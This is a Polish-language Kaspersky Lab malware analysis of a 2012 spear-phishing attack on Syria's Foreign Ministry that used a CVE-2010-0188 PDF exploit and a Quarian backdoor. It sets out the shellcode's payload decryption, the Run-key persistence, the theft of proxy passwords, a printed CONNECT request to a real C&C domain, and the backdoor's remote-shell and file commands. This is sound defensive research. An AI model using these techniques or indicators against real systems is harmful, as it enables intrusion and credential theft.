Stan zagrożeń w internecie znajduje się obecnie na poziomie standardowym. Nie występują duże epidemie a eksperci z Kaspersky Lab nie zanotowali żadnych poważnych incydentów związanych z bezpieczeństwem. Poziom zagrożenia: 1

Atak ukierunkowany przeciwko syryjskiemu Ministerstwu Spraw Zagranicznych

Dodany 3 grudnia 2012, 13:07 CET
Tagi:

Kilka dni temu, dokumenty, które wyciekły z syryjskiego Ministerstwa Spraw Zagranicznych zostały opublikowane na portalu o nazwie „Par:AnoIA”, nowej witrynie w stylu Wikileaks, zarządzanej przez społeczność Anonymous.

Jeden z użytkowników naszych produktów powiadomił nas o podejrzanym dokumencie w archiwum zrzuconych na portalu danych. Plik zawiera szkodliwy kod, który jest wykrywany przez silnik antywirusowy naszych produktów jako „Exploit.JS.Pdfka.ffw”. Użytkownik był też na tyle uprzejmy, aby przesłać nam kopię e-maila do analizy. Sprawdziliśmy przesłaną wiadomość e-mail. Zawierała plik PDF z exploitem CVE-2010-0188 (zobacz: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0188) i reprezentowała typowy atak spear-phishingowy:

Jeśli wierzyć nagłówkom SMTP, wiadomość e-mail została wysłana z adresu IP 123.140.57.166, który jest adresem proxy w Seulu (Korea).

Szczegóły techniczne - "964.PDF"

Ukierunkowany e-mail zawiera plik PDF o nazwie "964.PDF" i rozmiarze 569 477 bajtów. Ten PDF zawiera exploita (CVE-2010-0188) dla aplikacji Adobe Reader 8.x (do wersji 8.2.1) i 9.x (do wersji 9.3.1). Sprawdziliśmy działanie exploita na aplikacjach Adobe Reader 9.2.0 i Adobe 9.3.0 - zadziałał on bezbłędnie. Dokument PDF posiada wbudowany kod Javascript, który wykorzystuje lukę, a następnie przekazuje dalsze wykonywanie do shellcode.

Kiedy shellcode zostanie uruchomiony, analizuje wiersz poleceń dla bieżącego procesu (Adobe Reader), pomija pierwszy podciąg zawarty w cudzysłowach, natomiast wyciąga drugi podciąg zawarty cudzysłowach. Drugi podciąg to pełna ścieżka dostępu do źródłowego dokumentu PDF. Następnie, źródłowy plik PDF jest kopiowany do „%TEMP%\1.dat”, a shellcode odczytuje plik „1.dat”. Odczytywanych jest 0x8A218 bajtów (ta wartość jest ustawiona „na sztywno”) z offsetu 0xD98 (wartość również ustawiona „na sztywno”). Ten nowy blok danych rozpoczyna się od wielkości ładunku, przechowywanej w wartości DWORD równej 0xCF00. Pierwsza część ładunku jest deszyfrowana przy użyciu prostego algorytmu ROL+XOR (zależnego od pozycji).

Odszyfrowany plik jest zapisywany w „%TEMP%\explorer.exe”, a następnie uruchamiany. Zaraz potem podobnie odszyfrowywana jest druga część ładunku. Zawiera ona „fałszywy” dokument PDF, który jest zapisywany jako „%TEMP%\964.PDF” (nazwa pliku jest zdefiniowana odgórnie). Po tych czynnościach, shellcode tworzy nowy proces Adobe Readera, aby otworzyć zapisany plik PDF, usuwa „%TEMP%\1.dat” i kończy bieżący proces. Jeśli cała operacja przebiegnie sprawnie, użytkownikowi prezentowany jest plik, który wygląda na legalny dokument PDF, czyli dokładnie to, czego każdy spodziewa się po dwukrotnym kliknięciu na ikonie pliku PDF:

Zrzut ekranu pokazujący „fałszywy” plik PDF, który jest wyświetlany po pomyślnym uruchomieniu exploita. Oszustwo zostało odkryte po analizie wiadomości e-mail, którą otrzymaliśmy od użytkownika produktów Kaspersky Lab. Wiadomość e-mail pojawiła się pierwotnie jako część zrzutu danych na witrynie internetowej „Par:AnoIA”.

Exploit PDF wykorzystany w tym ataku jest wykrywany przez produkty Kaspersky Lab jako „Exploit.JS.Pdfka.ffw”. Prześledziliśmy związane z nim incydenty, które miały miejsce w roku 2011 i 2012. Oto mapa incydentów wykrytych w ciągu zeszłego roku:

Poniżej przedstawiamy dystrybucję zagrożenia w poszczególnych krajach:

Jak widać, liczba incydentów jest niewielka, co wskazuje na bardzo ukierunkowany charakter ataku. Nasza analiza doprowadziła do odkrycia innych, podobnych plików PDF (wykorzystujących ten sam exploit), które w roku 2012 zostały wykorzystane przeciwko sympatykom Tybetu.

Dostarczanie szkodliwego oprogramowania

Szkodnik zapisywany w komputerze przez exploit PDF jest wykrywany przez produkty Kaspersky Lab jako „Trojan-PSW.Win32.Quarian.j”. Jeśli ufać znacznikowi czasowemu kompilacji w nagłówku PE, szkodnik pochodzi z 30 listopada 2011 r. - powstał zaledwie kilka dni przed właściwym atakiem:

Aplikacja została utworzona w Microsoft Visual C++ 6.0. Po rozpoczęciu wykonywania, szkodnik instaluje aktualny moduł w systemowym procesie autouruchamiania przy pomocy następującej wartości rejestru: HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\alg = %ścieżka_dostępu_do_modułu%.

Aby upewnić się, że istnieje tylko jedna instancja bieżącej aplikacji, tworzony jest mutex o nazwie „windowsupdataguoDL”. Jeżeli tworzenie mutexu nie powiedzie się, a ostatni błąd to ERROR_ALREADY_EXISTS, szkodnik wstrzymuje operację. Szkodliwe oprogramowanie próbuje również odczytać pierwsze 4 bajty z pliku o nazwie „cf” (w katalogu bieżącym). Te 4 bajty są wartością DWORD definiującą opóźnienie pomiędzy połączeniami szkodnika z serwerem centrum kontroli (C&C). Następnie, przy pomocy algorytmu XOR (z pozycją i wartością równą 0x44) deszyfrowany jest ustalony adres serwera C&C. To rozpoczyna nowy wątek komunikacji z C&C.

Szkodnik uzyskuje dostęp do klucza rejestru aktualnych preferencji użytkownika „HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings” używając wartości „ProxyEnable, User Agent, ProxyServer”. Próbuje również pobrać aktualne preferencje proxy z ustawień Firefoksa poprzez parsowanie pliku „%APPDATA%\Mozilla\FireFox\Profiles\prefs.js” i wyciągnięcie z niego następujących wartości:

network.proxy.type
network.proxy.http
network.proxy.http_port

Co ciekawe, w szkodniku zakodowane są następujące awaryjne preferencje proxy:

Proxy host: 192.168.1.104
Proxy port: 3128
C&C host: 127.0.0.1
C&C port: 443

Te wartości prawdopodobnie reprezentują lokalne ustawienia twórcy szkodnika i zostały wprowadzone dla wygody podczas fazy testów, chyba że atakujący już wcześniej posiadali wiadomości na temat infrastruktury ofiary. Według odszyfrowanych danych, C&C bieżącej próbki jest zlokalizowane w domenie „sureshreddy1.dns05.com”, a serwer odpowiada na porcie 443 (HTTPs).

W przypadku odpowiedzi lokalnego serwera proxy w postaci HTTP 407 (wymagane uwierzytelnienie), szkodnik sprawdza chronione repozytorium Windows w celu wyciągnięcia hasła dla bieżącego proxy. Do komunikacji z C&C szkodnik używa niestandardowego protokołu i prostego, jednobajtowego, przyrostowego szyfrowania XOR. Komunikacja zaczyna się od handshake'a złożonego z 8 losowych bajtów wysłanych do serwera C&C i 8 bajtów zwrotnych. W przypadku proxy ustanawiane jest połączenie za pośrednictwem metody HTTP CONNECT. Jeżeli wymagana jest autoryzacja, szkodnik wykorzystuje otrzymany login i wyciągnięte hasło do bieżącego proxy, i próbuje wykonać operację podstawowego uwierzytelniania.

Poniżej prezentujemy przykładowe żądanie wysyłane przez szkodnika do lokalnego proxy:

CONNECT sureshreddy1.dns05.com:443 HTTP/1.0
User-Agent: Mozilla/4.0
Host: sureshreddy1.dns05.com
Content_length: 0
Proxy-Connetion: Keep-Alive
Pragma: no-cache

Warto zauważyć, że twórcy szkodliwego oprogramowania popełnili literówkę w ciągu nagłówka „Proxy-Connetion”, więc prawdopodobnie połączenia nie utrzymują się długo podczas pracy poprzez serwer proxy. Następnie szkodnik czeka na odpowiedź z serwera (używając połączenia TCP w trybie „Keep Alive”). Oczekuje przynajmniej jednego bajta z następujących wartości, które odpowiadają poleceniom:

0x1: Identyfikacja systemu

  • Obecna wersja Windows (pomniejszy / główny numer wersji, service pack, ID platformy);
  • Nazwa hosta systemu i adres IP;
  • Nazwa użytkownika;
  • Poziom przywilejów użytkownika (Gość / Użytkownik / Administrator) z lokalnego kontrolera domeny.

 

0x4: Uruchomienie aktualizacji
Uruchamia plik „updater.exe” w bieżącym katalogu.

0x5: Wyłączenie autouruchamiania
Usuwa wpis „alg” z „HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run”.

0x6: Interaktywna powłoka
Tworzy nowy wątek, gromadzi aktualne dane z chronionego repozytorium Windows i przesyła je do C&C. Kopiuje „%WINDIR%\system32\cmd.exe” do „%WINDIR%\alg.exe” i uruchamia nowy proces z jednej z wymienionych ścieżek. Atakujący może interaktywnie pracować z „cmd.exe” - wszystko, co napisze, jest kodowane i przesyłane do złośliwego oprogramowania poprzez serwer C&C, a wszystkie informacje zwrotne z „cmd.exe” są szyfrowane i natychmiast wysyłane do C&C.

0x7: Menedżer plików
Tworzy nowy wątek, który ustanawia dodatkowe połączenie z C&C i dostarcza dodatkowy zestaw operacji obejmujący:

  • Pobieranie list katalogów;
  • Przenoszenie plików;
  • Pobieranie plików z atakującego systemu na system lokalny;
  • Przesyłanie plików z atakującego systemu do systemu lokalnego;
  • Uruchamianie pliku aplikacji;
  • Usuwanie pliku.
0x16: Zmiana opóźnienia połączenia
To polecenie służy do zmiany wartości w pliku „cf” i zmienia opóźnienie pomiędzy połączeniami z C&C.

 

Nazwa serwera centrum kontroli rozwiązuje się na 123.120.111.163, co wskazuje na Chiny:

W pierwszym dniu pisania tego artykułu serwer C&C pod adresem 123.120.11.163 nie odpowiadał na próby połączenia na porcie 443, jednakże następnego dnia, kiedy jeszcze pracowaliśmy nad tym sprawozdaniem, rozwiązywany adres domeny został zmieniony na 123.120.110.126 (ten sam dostawca usług internetowych), a serwer zaczął odpowiadać na połączenia na porcie 443. Pozwoliliśmy zainfekowanej maszynie podłączyć się do tego hosta z adresu IP w Indiach, jednak nikt do tej pory nie wydał jej żadnych poleceń. Szkodnik pozostawał w trybie oczekiwania.

Wnioski

Ataki ukierunkowane, takie jak ten opisany w niniejszym artykule, są dość typowe dla rządów i instytucji rządowych. Choć ofiary rzadko zgadzają się na przesłanie próbek, warto zauważyć, że wycieki danych mogą czasami, bezpośrednio lub pośrednio, ujawnić ataki pozostające w ukryciu.

Większość szkodliwych programów, używanych w atakach, to stosunkowo proste szkodniki, posiadające bazowe funkcje łączenia się z serwerami C&C w celu pobierania dodatkowych komponentów. Gdy napastnicy utworzą przyczółek w docelowej organizacji, wprowadzają do użytku rozwiązania do podnoszenia uprawnień, zapewniające swobodniejsze poruszanie się po wewnętrznej sieci i łatwiejszą implementację specjalistycznych narzędzi do infiltracji i kradzieży danych.

Będziemy kontynuować analizę tych ukierunkowanych ataków i w miarę postępów publikować wszelkie nowe informacje.